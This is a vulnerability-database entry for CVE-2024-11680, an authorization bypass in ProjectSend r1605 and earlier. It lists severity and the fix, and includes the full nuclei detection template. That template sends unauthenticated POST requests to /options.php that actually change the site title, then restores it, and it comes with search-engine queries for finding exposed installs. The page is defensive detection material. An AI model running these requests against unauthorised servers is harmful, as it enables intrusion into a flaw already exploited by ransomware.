HexBrain

Browse / CVEs / CVE-2024-11680

CVE-2024-11680· projectsend / projectsend· CWE-287, CWE-863

ProjectSend <= r1605 - Improper Authorization

Exploited in the wild. Listed by CISA on 2024-12-03; known to be used by ransomware.

criticalseverity
9.8CVSS score
91.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An improper authorization check was identified within ProjectSend version r1605 that allows an attacker to perform sensitive actions such as enabling user registration and auto validation, or adding new entries in the whitelist of allowed extensions for uploaded files. Ultimately, this allows to execute arbitrary PHP code on the server hosting the application.

Impact

Unauthenticated attackers can bypass authorization checks to perform sensitive actions such as enabling user registration, modifying whitelists, and ultimately achieving remote code execution.

Fix

Upgrade ProjectSend to version r1700 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "projectsend")
Send: POST /options.php
Positive when: status_code == 500 and contains(content_type, "text/html")
Send: GET /
Positive when: status_code == 200 and contains(body, "{{string}}")
Send: POST /options.php
Positive when: status_code == 500 and contains(content_type, "text/html")
Send: GET /
Positive when: status_code == 200 and contains(body, "{{title}}")

Run it with nuclei: nuclei -id CVE-2024-11680 -u <target>

The full check
id: CVE-2024-11680

info:
  name: ProjectSend <= r1605 - Improper Authorization
  author: DhiyaneshDK
  severity: critical
  description: |
    An improper authorization check was identified within ProjectSend version r1605 that allows an attacker to perform sensitive actions such as enabling user registration and auto validation, or adding new entries in the whitelist of allowed extensions for uploaded files. Ultimately, this allows to execute arbitrary PHP code on the server hosting the application.
  impact: |
    Unauthenticated attackers can bypass authorization checks to perform sensitive actions such as enabling user registration, modifying whitelists, and ultimately achieving remote code execution.
  remediation: |
    Upgrade ProjectSend to version r1700 or later.
  reference:
    - https://www.projectsend.org/
    - https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf
    - https://vulncheck.com/advisories/projectsend-bypass
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-11680
    cwe-id: CWE-287,CWE-863
    epss-score: 0.91849
    epss-percentile: 0.99818
    cpe: cpe:2.3:a:projectsend:projectsend:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: projectsend
    product: projectsend
    shodan-query:
      - http.html:"projectsend"
      - http.html:"projectsend setup"
      - http.html:"provided by projectsend"
    fofa-query:
      - body="projectsend"
      - body="projectsend setup"
      - body=provided by projectsend
    google-query: intext:provided by projectsend
  tags: cve,cve2024,projectsend,auth-bypass,intrusive,kev,vkev,vuln
variables:
  string: "{{randstr}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "projectsend")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'name="csrf_token" value="([0-9a-z]+)"'
        internal: true

      - type: regex
        name: title
        group: 1
        regex:
          - '<title>Log in &raquo; ([0-9a-zA-Z]+)<\/title>'
        internal: true

  - raw:
      - |
        POST /options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf_token={{csrf}}&section=general&this_install_title={{string}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(content_type, "text/html")'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{string}}")'
        condition: and
        internal: true

  - raw:
      - |
        POST /options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf_token={{csrf}}&section=general&this_install_title={{title}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(content_type, "text/html")'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{title}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from